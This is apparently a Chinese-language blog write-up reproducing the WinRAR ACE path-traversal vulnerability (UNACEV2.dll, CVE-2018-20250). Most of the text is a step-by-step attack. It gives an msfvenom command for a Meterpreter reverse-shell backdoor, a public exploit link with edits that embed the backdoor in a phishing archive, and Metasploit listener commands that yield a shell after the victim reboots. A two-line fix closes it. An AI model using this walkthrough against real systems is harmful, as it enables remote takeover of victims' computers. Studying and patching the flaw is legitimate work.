漏洞简介
该漏洞处于 WinRAR 的模块(UNACEV2.dll)中,主要用于解析 ACE文件格式,在解压处理的过程中存在一处目录穿越漏洞,允许解压过程中将文件写入启动文件夹中,导致系统重启后攻击者代码得到执行。
影响版本
- WinRAR < 5.70 Beta 1
- Bandizip < = 6.2.0.0
- 好压(2345压缩) < = 5.9.8.10907
- 360压缩 < = 4.0.0.1170
利用过程
攻击者能够精心构建一个 ACE 恶意文件,当该恶意文件用WinRAR 打开时,会利用 UNACEV2.dll 的目标路径,将文件解压到攻击者选择的路径位置。攻击者可以通过从 ACE 存档中提取压缩的可执行文件到其中一个启动文件夹,从而获得代码执行。启动文件夹如:
- C:\ProgramData\Microsoft\Windows\StartMenu\Programs\StartUp
- C:\Users<用户名>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
漏洞复现
攻击端使用Kali,IP如下:
被攻击端使用win7,IP如下:
生成后门
在Kali下输入以下命令生成后门:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击端IP LPORT=监听端口 -f exe -o msf.exe
生成了后门程序,文件名是msf.exe。
生成钓鱼rar
下载exp:https://github.com/WyAtu/CVE-2018-20250/archive/master.zip
拷贝至Kali下,打开exp.py,修改以下两处:
# The evil file you want to run
evil_filename = "msf.exe"
# This command may be different, it depends on the your Python3 environment.
p = os.popen('python3 acefile.py --headers %s'%(filename))
第一处将文件名修改为后门程序的文件名,第二处根据python3环境修改引号中的命令,我这里如果不修改的话会报list index out of range
。
然后运行exp.py。
开启监听
Kali下打开metasploit-framework
输入如下命令生成后门:
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 攻击端IP
set LPORT 监听端口
exploit
布置漏洞环境
将生成的钓鱼rar拷贝至win7,解压运行,解压位置出现hello.txt和world.txt两个诱饵文件,启动目录里还悄悄写入了后门程序hi.exe。
利用成功
重启win7后,后门程序会自启动。攻击端会拿到shell。
修复方法
-
删除 UNACEV2.dll文件;
-
使用最新的 5.70 Beta 1 以及上版本。
评论